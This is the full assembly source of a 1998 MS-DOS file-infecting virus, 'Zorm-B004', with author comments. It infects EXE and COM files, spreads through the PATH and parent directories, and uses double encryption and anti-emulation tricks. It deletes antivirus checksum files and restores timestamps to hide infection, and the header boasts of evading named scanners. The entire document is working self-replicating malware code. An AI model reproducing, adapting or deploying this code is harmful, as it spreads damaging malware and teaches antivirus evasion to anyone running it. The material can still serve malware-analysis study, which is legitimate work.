; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛ\ ÛÛÛÛ\ ÛÛÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ \ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
;
;(C)By Dr L. from Lamer Corporation March/July 1998
;
;Description:
; - Name:..........Zorm-B004
; - Mode:..........Direct infector no TSR
; - Target:..........Exe/Com of Msdos (even com of dos7+)
; - Status:..........Not detected by Tbav806,F-prot301,228
; dr.Web,Avp30,nod-ice,findvirus786
; (2nd+ generations)
; - Description:
; This virus infects 2 exe+2 com files when executed.
; Can change of directory by using both dot-dot method
; and the path variable of dos environnment.
; It doesnt contain nasty routines.
; Its twice encrypted and use several anti-emulation
; routines.It doesnt infect command.com and win.com
; of win95.
; It erases most checksums files made by anti-virus
; in the directories where it have found targets to
; infect.
; Anti-lamer routine included :)
;
; - Disclaimer:
; This virus was written for research and educationnal
; purposes.
; Its the 4th version of this serie.
; I have fixed some bugs.
; But one problem still remains:
; This virus can damaged win.com/command.com of
; win31 when executed or maybe all can be fine
; i cant study this problem cause i dont have
; win31!
;
;
; Compile :tasm/m2 ,tlink/t
;
.model tiny ;memory model
.code ;size <65536
org 100h ;its a com file
;-------------------------Beginning---of----loader----------------------
start1:
db 0e9h,1,0 ;jmp 001 byte forward
db 'V' ;infection mark
push ds ;save dx for later
push cs ;set ds=cs
pop ds ;
mov word ptr [_ds],ds ;save original ds for
;later
mov byte ptr [com_virus],0 ;for the first time
;you have to do that
;(read below)
mov bp,0 ;set bp the delta offset
;to zero.No shift to begin
jmp over_there
;---------------------------End-----of------loader----------------------
;----------------------------Beginning--of--virus-----------------------
start:
xor dx,dx ;set dx=0 for stability
mov cx,end_2nd-begin_2nd ;cx=nber of bytes to decrypt
xor ax,ax
int 15h
cmp ah,86h ;thanx to yesna to show me this
jz itsok ;trick ;)
mov ah,4ch
int 21h
itsok:
mov ah,3dh ;anti-emulation trick. function 3dh
int 21h ;int 21h= open file function.ds:dx
;mov al,02h ;have to point to file name.
;but ds:dx points tojunk so dos returns
;al=02h.We use this value to decrypt
db 04h ;=add al,10h
value db 10h ;
db 0bbh ;mov bx,patch
patch: ;patch=addr of begin_2nd.
dw 0 ;patch will be set later.
;settings for decrypt bytes between begin_2nd and end_second is over.
;--------------------------------------------------------
;crypt/decrypt "routine"
;
;remark: _ret will be changed into "ret" to transform this part
;in a real asm routine.
crypt:
turn_again:
xor byte ptr cs:[bx],al
inc bx
loop turn_again
_ret: ;
ret ;to be replaced
;--------------------------------------------------------
begin_2nd:
db 2eh,0c6h,06h ;=mov byte ptr cs:[ret_addr],c3h
ret_addr: ;
dw 0 ;(ret_addr=address where to put 'ret'.
db 0c3h ;c3h=opcode for "ret")
db 0bbh ;=mov bx,0000h
patch2: ;
dw 0 ;(patch2=addr of beginning of begin_main)
db 0b0h ;=mov al,2
_al: ;
db 2 ;
;(_al=xor key.Not fixed value during
;infection scheme.see below)
mov cx,end_main-begin_main ;setting to decrypt bytes between
;label begin_main and end_main is
;complete
call crypt ;decrypt now!
end_2nd:
begin_main:
mov ax,ss ;if cs=ss i'm a com
mov cx,cs ;
cmp ax,cx ;if not,i'm exe!
jz im_com ;
im_exe:
cli ;
mov ax,ss ;reset ss=cs
dec ax ;at the start ss=cs+1 to avoid
mov ss,ax ;"k" flag of tbav.Maybe its a
sti ;lame way to do that but dont know
;how to use an other way.
call compute_delta
push ds ;save ds for later
push cs ;set ds=cs
pop ds ;
mov byte ptr [com_virus+bp],0 ;i'm not a com (save this info
;for later)
jmp next_exe ;whats follow for a exe file host?
im_com:
push ds ;save it for later
compute_delta_offset:
call compute_delta
mov byte ptr [com_virus+bp],1 ;yep i'm a com file
next_exe:
pop ax ;set ax=original ds
mov word ptr [_ds+bp],ax ;set _ds=original ds
;you need it for pass
;control to host.
over_there: ;remember me?
;for the first execution
;no need to decrypt
push es ;save es
push cs ;set es=cs
pop es ;
cmp byte ptr [com_virus+bp],1 ;i'm a com?
jnz follow_me ;nope
lea si,store_bytes+bp ;yep i'm
mov di,100h ;ready to transfer byte from
;location "store_bytes" to
;beginning of (com) host.
;(remember the code of *.com
;begin to cs:100h in memory)
jmp transfer
follow_me:
;cld
lea si,store+bp ;transfer from label "store"
lea di,old+bp ;to label "old"
movsw ;(set the correct values, segment:
movsw ;offset for the return to host.)
transfer:
movsw ;you came from "mov di,100h"? ok
movsw ;restore (in memory only) the 4 first
;originals bytes of host.
;you came from "follow me"? ok restore
;originals cs:ip and ss:sp found in
;host (exe) header
pop es ;beware im back!
lea dx,new_dta+bp ;dont modify dta!
call set_dta ;change it!
mov byte ptr [flag_com+bp],'E' ;at first we want to infect Exe
push es ;see you later!
create_new_int24h_handler:
mov ax,3524h ;
int 21h ;save original handler
mov word ptr [bp+old_int24h],bx ;of int 24h for restore
mov word ptr [bp+old_int24h+2],es ;it later.
mov ah,25h ;set a new handler for
lea dx,bp+int_24h ;int 24h.
int 21h ;so dos dont pop up
;a infamous error message if virus
;try to infect write protected
;disk.
pop es ;its me again babe!
count:
mov byte ptr [count_infect+bp],0 ;reset the counter to 0
;self explanory
get_dir:
mov ah,47h ;
lea si,current_dir+bp ;save the current directory
xor dl,dl ;for later when virus pass
int 21h ;control to host and the return to
;dos.the size of buffer is 64 bytes.
get_disk:
mov ah,19H ;from a:or b:or...virus is running?
int 21h ;
mov byte ptr [disk+bp],al ;
cmp al,02H ;virus infect c: not other drive.
;in practice .
jz search_begin_path ;but if you are running the virus
mov dl,02h ;from an drive ,not c:,it infects
mov ah,0eh ;drive c:.
int 21h ;
;-------------------------------------------------------------
;this part search the adress of first byte of the name of the
;first directory include in dos path
;remarks:
; es is destroyed by the routine
; es:di points to the address
; we are searching
search_begin_path:
mov ax,es:002ch ;es:002ch=address of segment where
mov es,ax ;to found in memory the dos path.
xor di,di ;
mov si,di
jmp suite
yet:
inc si
mov di,si
suite:
mov ax,'AP' ;
scasw ;
jnz yet ;
mov ax,'HT' ;search the string 'PATH='
scasw ;in memory
jnz yet ;
mov al,'=' ;
scasb ;
jnz yet ;
;---------------------------------------------------------------------------
;------------------------------------------------------------------
;main part of virus routine to search for files
;to infect.
pathdir: ;
call search ;go to search in current dir
again1: ;
jc parent ;no file found go to "parent"
call infect ;one file found infect it!
cmp byte ptr [count_infect+bp],2 ;
jz end_infect ;
call search_again ;
jmp again1 ;
parent:
call up_dir ;
jnc pathdir ;
change_to_c:
call change_path_dir ;
jnz pathdir ;
jmp end_infect ;
;------------------------------------------------------------------
infect:
mov ax,3d02h
lea dx,new_dta+1eh+bp
int 21h
read_header:
xchg ax,bx
mov ah,3fh
mov cx,1ch
lea dx,exe_header+bp
int 21h
test1:
cmp word ptr [exe_header+bp],'ZM';is it really an exe?
je test3
test2:
cmp word ptr [exe_header+bp],'MZ';idem
jne its_a_com
test3:
cmp word ptr [exe_header+bp+12h],'VI';infected?
je terminer ;yes,bye bye
test3b:
cmp word ptr [exe_header+bp+2],00c6h
jne test4
cmp word ptr [exe_header+bp+4],00b7h
je terminer
test4:
cmp word ptr [exe_header+bp+26],0 ;overlay=0?
jne terminer ;not,bye bye
test5:
cmp word ptr [exe_header+bp+24],40h ;windows exe?
je terminer ;yes ,adios :(
mov byte ptr [com_target+bp],0
jmp get_attributes
its_a_com:
test_com:
cmp byte ptr [exe_header+bp+3],'V'
jz terminer
test_win:
cmp word ptr [exe_header+4+bp],0e1fh
jnz not_win_com
cmp word ptr [exe_header+6+bp],0e807h
jz terminer
not_win_com:
jmp suit
end_infect:
jmp end_infect2
suit:
push di
push es
push cs
pop es
mov byte ptr [com_target+bp],1
lea si,exe_header+bp
lea di,store_bytes+bp
movsw
movsw
pop es
pop di
get_attributes:
mov ax,4300h
lea dx,new_dta+1eh+bp
int 21h
mov word ptr [attribute+bp],cx
set_attributes:
lea dx,new_dta+1eh+bp
call set_attrib
kill_crc_files:
;-----------------------------------------------
;delete crc files
lea dx,killfile1+bp
call set_attrib
call kill_file
jmp next
terminer:
jmp close_file
next:
lea dx,killfile2+bp
call set_attrib
call kill_file
lea dx,killfile3+bp
call set_attrib
call kill_file
;------------------------------------------------
get_time_date:
mov ax,5700h
int 21h
push cx
push dx
cmp byte ptr [com_target+bp],1
jz go_end_of_file
store_info_header:
mov ax,word ptr [exe_header+bp+0eh]
mov word ptr [store_ss+bp],ax
mov ax,word ptr [exe_header+bp+10h]
mov word ptr [store_sp+bp],ax
mov ax,word ptr [exe_header+bp+14h]
mov word ptr [store_ip+bp],ax
mov ax,word ptr [exe_header+bp+16h]
mov word ptr [store_cs+bp],ax
go_end_of_file:
call go_end
cmp byte ptr [com_target+bp],1
jnz next_exe_infect
sub ax,7
xchg ax,dx
mov cx,0
mov ax,4200h
int 21h
mov ah,03fh
mov cx,07h
lea dx,queue+(end_virus-start)+bp
int 21h
add word ptr [queue+(end_virus-start)+5+bp],end_virus-start+7
call go_end
mov cx,ax
sub ax,3
mov word ptr [jmp_bytes+bp+1],ax
add cx,100h
jmp change_patch
next_exe_infect:
push ax dx
compute_new_csip:
push ax
mov ax,word ptr [exe_header+bp+8]
mov cl,4
shl ax,cl
mov cx,ax
pop ax
sub ax,cx
sbb dx,0
mov cl,0ch
shl dx,cl
mov cl,4
push ax
shr ax,cl
add dx,ax
shl ax,cl
pop cx
sub cx,ax
change_header:
mov word ptr [exe_header+bp+14h],cx
mov word ptr [exe_header+bp+16h],dx
inc dx
mov word ptr [exe_header+bp+0eh],dx
mov word ptr [exe_header+bp+10h],0FF0h
mov word ptr [exe_header+bp+0ah],00FFh
mov word ptr [exe_header+bp+12h],'VI'
change_patch:
push cx
add cx,begin_main-start
mov word ptr [patch2+bp],cx
pop cx
push cx
add cx,_ret-start
mov word ptr [ret_addr+bp],cx
pop cx
add cx,begin_2nd-start
mov word ptr [patch+bp],cx
cmp byte ptr [com_target+bp],1
jz write_virus
pop dx ax
compute_size:
add ax,end_virus-start
adc dx,0
mov cx,512
div cx
cmp dx,0
je enough
inc ax
enough:
mov word ptr [exe_header+bp+04],ax
mov word ptr [exe_header+bp+02],dx
write_virus:
encipher:
call encrypt
;--------------------------------
;routine to avoid tbav "U" flag
;"U"=undocumented dos interrupt
;in fact tbav sets this flag
;if it finds "cdh,xyh" string
;where xy isnt a ordinary value
;for an interrupt.
lea si,queue+bp+(begin_2nd-start)
mov cx,end_virus-begin_2nd
test_int:
cmp byte ptr [si],0cdh
je encipher
inc si
loop test_int
;-------------------------------
;-------------------------------
;90h=nop replace 'ret' by 'nop'
;for the first execution of crypt
;routine by the target exe
;in the buffer before write it.
mov byte ptr [bp+queue+(_ret-start)],90h
;-------------------------------
;-------------------------------
;write the virus to the target file
mov ah,40h
mov cx,(end_virus-start)+7
lea dx,bp+queue
int 21h
;-------------------------------
;-------------------------------
;set the file pointer of target to
;the beginning.
go_beginning:
mov ax,4200h
xor cx,cx
cwd
int 21h
;-------------------------------
copy_new_header:
cmp byte ptr [com_target+bp],1
jnz copy_exe
lea dx,jmp_bytes+bp
mov cx,4
jmp go_copy
copy_exe:
mov cx,1ah
lea dx,exe_header+bp
go_copy:
mov ah,40h
int 21h
inc_counter:
inc byte ptr [count_infect+bp]
restore_file_attribute:
mov cx,attribute+bp
lea dx,1eh+bp+new_dta
mov ax,4301h
int 21h
restore_date_time:
mov ax,5701h
pop dx
pop cx
int 21h
close_file:
mov ah,3eh
int 21h
ret
end_infect2:
restore_disk:
mov dl,byte ptr [disk+bp]
mov ah,0Eh
int 21h
restore_directory:
mov ah,3bh
mov byte ptr [slash+bp],'\'
lea dx,[current_dir-1]+bp
int 21h
cmp byte ptr [flag_com+bp],'C'
jz exit
mov byte ptr [flag_com+bp],'C' ;set this flag to avoid
jmp count
exit:
restore_initial_ds_value:
mov ax,word ptr [_ds+bp]
push ax
pop ds
restore_initial_dta:
mov dx,80h
call set_dta
restore_initial_24h_interrupt:
push ds
mov ax,2524h
lds dx,bp+old_int24h
int 21h
pop ds
restore_initial_es:
push ds
pop es
cmp byte ptr [com_virus+bp],1
jnz finish_exe
return_com_host:
mov ax,100h
push ax
ret
finish_exe:
mov ax,es
add ax,10h
set_cs_of_host_to_run_it:
add word ptr cs:[old_cs+bp],ax
set_stack_of_host:
cli
add ax,word ptr cs:[bp+old_ss]
mov ss,ax
mov sp,word ptr cs:[bp+old_sp]
sti
go_to_host_code:
db 0eah ; :=jmp xxxx:yyyy
old:
old_ip dw 0 ; yyyy
old_cs dw 0 ; xxxx
old_sp dw 0
old_ss dw 0
store:
store_ip dw 0
store_cs dw 0fff0h
store_sp dw 0
store_ss dw 0fff0h
;-----------------------------------
;search in current directory.
search:
mov ah,4eh
cmp byte ptr [flag_com+bp],'C'
jnz its_exe
lea dx,com_file+bp
jmp its_com
its_exe:
lea dx,file_mask+bp
its_com:
mov cx,7
int 21h
ret
search_again:
mov ah,4fh
int 21h
ret
;-----------------------------------
;-----------------------------------
;change directory to parent dir.
up_dir:
mov ah,3bh
lea dx,dot_dot+bp
int 21h
ret
;-----------------------------------
;-----------------------------------
;find the next dir in dos path
;and set current dir=dir found.
change_path_dir:
lea si,new_dir+bp
notyet:
cmp byte ptr es:[di],';'
jz _end
cmp byte ptr es:[di],0
jz _end2
mov ah,byte ptr es:[di]
mov byte ptr [si],ah
inc di
inc si
jmp notyet
_end:
mov byte ptr [si],0
inc di
mov ah,3bh
lea dx,new_dir+bp
int 21h
ret
_end2:
xor ax,ax
ret
;------------------------------------------
encrypt:
push ax
push bx
change_xor_value:
mov al,byte ptr [_al+bp]
inc al
cmp al,0
jne more
inc al
more:
mov byte ptr [_al+bp],al
mov ah,byte ptr [value+bp]
inc ah
cmp ah,0
jne again
inc ah
again:
mov byte ptr [value+bp],ah
copy_virus_to_queue_buffer:
;cld
push di
push es
push cs
pop es
lea si,start+bp
lea di,queue+bp
mov cx,end_virus-start
rep movsb
pop es
pop di
crypt_main_part_of_virus_in_buffer:
mov cx,end_main-begin_main
lea bx,queue+(begin_main-start)+bp
call crypt
xchg al,ah
inc al
inc al
crypt_2nd_part_of_virus_in_buffer:
mov cx,end_2nd-begin_2nd
lea bx,queue+(begin_2nd-start)+bp
call crypt
pop bx
pop ax
ret
set_attrib:
mov ax,4301h
xor cx,cx
int 21h
ret
kill_file:
mov ah,41h
int 21h
ret
int_24h:
mov al,3
iret
set_dta:
mov ah,1ah
int 21h
ret
compute_delta:
call delta
delta:
pop bp
sub bp,offset delta
ret
go_end:
mov ax,4202h
xor cx,cx
cwd
int 21h
ret
signature db '(c)Zorm-b004 by Dr.L March/July98'
jmp_bytes db 0e9h,0,0,'V'
store_bytes db 90h,90h,0cdh,20h
killfile1 db 'anti-vir.dat',0
killfile2 db 'chklist.ms' ,0
killfile3 db 'chklist.cps' ,0
dot_dot db '..',0
file_mask db 'goat*.exe',0 ;anti-lamer routine
com_file db 'goat*.com',0
end_main:
end_virus:
com_target db ?
com_virus db ?
flag_com db ?
disk db ?
attribute dw ?
old_int24h dd ?
_ds dw ?
count_infect db ?
slash db ?
current_dir db 64 dup (?)
exe_header db 1ch dup (?)
new_dta db 43 dup (?)
new_dir db 64 dup (?)
queue:
end start1